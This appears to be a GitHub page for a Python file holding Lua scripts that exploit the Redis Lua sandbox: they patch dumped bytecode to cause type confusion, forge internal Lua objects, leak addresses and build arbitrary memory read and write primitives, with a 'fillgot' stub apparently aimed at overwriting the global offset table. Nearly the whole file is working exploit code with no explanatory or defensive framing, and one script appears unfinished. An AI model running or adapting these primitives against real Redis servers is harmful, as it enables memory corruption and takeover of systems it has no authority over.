-
Notifications
You must be signed in to change notification settings - Fork 31
/
Copy pathlua_scripts.py
454 lines (448 loc) · 11.7 KB
/
lua_scripts.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
# -*- coding:utf-8 -*-
readmem = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local reader = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC"]()
end
local function safe(v)
redis["mem_chunk_l"], redis["mem_chunk_h"] = redis["addrof"](v)
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function readmem(addr)
redis["mem_addr"] = addr
redis["mem_chunk_l"] = 0 redis["mem_chunk_h"] = 0
reader()
return redis["mem_chunk_l"], redis["mem_chunk_h"]
end
return {readmem(ARGV[1])}
'''
writemem = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
redis["LC1"] = function()
local proto = Proto(saddrof(TNumber(0)))
local adr = addrof(redis["memview"])
local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1)
local tv = TValue(saddrof(tb), TTABLE)
local upval = UpVal(TSTRING, saddrof(tv))
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local writer = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC1"]()
end
local function safe(v)
v[1] = redis["mem_addr"]
redis["memview"][1] = redis["chunk_write"]
v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function writemem(addr_l, addr_h, val_l, val_h)
redis["memview"] = {0}
redis["chunk_write"] = u2f(val_l, val_h)
redis["mem_addr"] = u2f(addr_l, addr_h)
writer()
end
writemem(ARGV[1], ARGV[2], ARGV[3], ARGV[4])
return 0
'''
fillgot = r'''
return tonumber("666", 8)
'''
writetuple = r'''
local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9
local function b(x) return string.char(x) end
local function ub(x, y)
local str = ''
for i = 1,y,1 do
local n = x % 256
str = str .. b(n)
x = (x - n) / 256
end
return str
end
local function unpack32bit(x, fmt)
local tb = {}
local rt = {}
for i = 1, 4 do
local n = x % 256
tb[i] = n
x = (x - n) / 256
end
local y = 1
for i = 1, #fmt do
if fmt[i] == 1 then
rt[i] = tb[y]
y = y + 1
end
if fmt[i] == 2 then
rt[i] = tb[y] + tb[y + 1] * 256
y = y + 2
end
if fmt[i] == 4 then
return {x}
end
end
return rt
end
local forloop = loadstring((string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub("\96%z%z\128", "\22\0\0\128")))
local function f2u(x)
if x == nil then return 0, 0 end
if x == 0 then return 0, 0 end
if x < 0 then x = -x end
local e_lo, e_hi, e, m = -1075, 1023
while true do
e = (e_lo + e_hi)
e = (e - (e % 2)) / 2
m = x / 2^e
if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
end
if e+1023 <= 1 then
m = m * 2^(e+1074)
e = 0
else
m = (m - 0.5) * 2^53
e = e + 1022
end
local lo = m % 2^32
m = (m - lo) / 2^32
local hi = m + e * 2^20
return lo, hi
end
local function u2f(lo, hi)
local m = hi % 2^20
local e = (hi - m) / 2^20
m = m * 2^32 + lo
if e ~= 0 then
m = m + 2^52
else
e = 1
end
return m * 2^(e-1075)
end
local function addrof(x)
return f2u(forloop(x))
end
redis["addrof"] = function(x)
return f2u(forloop(x))
end
redis["msg"] = ""
local function pushmsg(msg)
redis["msg"] = redis["msg"] .. msg .. "\r\n"
end
local function ub4(x)
return ub(x, 4)
end
local function ub8(x)
return ub(x, 8)
end
local function saddrof(x)
return addrof(x) + 0x18
end
local function TValue(n, tt)
return ub8(n) .. ub4(tt)
end
local function TNumber(n)
return TValue(n, TNUMBER)
end
local function TString(size)
return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING"
end
local function UpVal(tt, tv)
return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv)
end
local function Table()
return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6)
end
local function Proto(k)
local tb = {}
return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB"
end
redis["LC"] = function()
local proto = Proto(saddrof(TNumber(0)))
local upval = UpVal(TNUMBER, redis["mem_addr"])
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
redis["LC1"] = function()
local proto = Proto(saddrof(TNumber(0)))
local adr = addrof(redis["memview"])
local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1)
local tv = TValue(saddrof(tb), TTABLE)
local upval = UpVal(TSTRING, saddrof(tv))
return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval))
end
local writer = loadstring(string.dump(function()
local upval_1 = nil
local LClosure = nil
local function f0()
local function f1()
LClosure = redis["LC1"]()
end
local function safe(v)
v[1] = redis["mem_addr"]
redis["memview"][1] = redis["chunk_write"]
v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃
end
f1()
safe(upval_1)
end
f0()
end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1))
local function writemem(addr_l, addr_h, val_l, val_h)
redis["memview"] = {0}
redis["chunk_write"] = u2f(val_l, val_h)
redis["mem_addr"] = u2f(addr_l, addr_h)
writer()
end
collectgarbage("stop", 0)
'''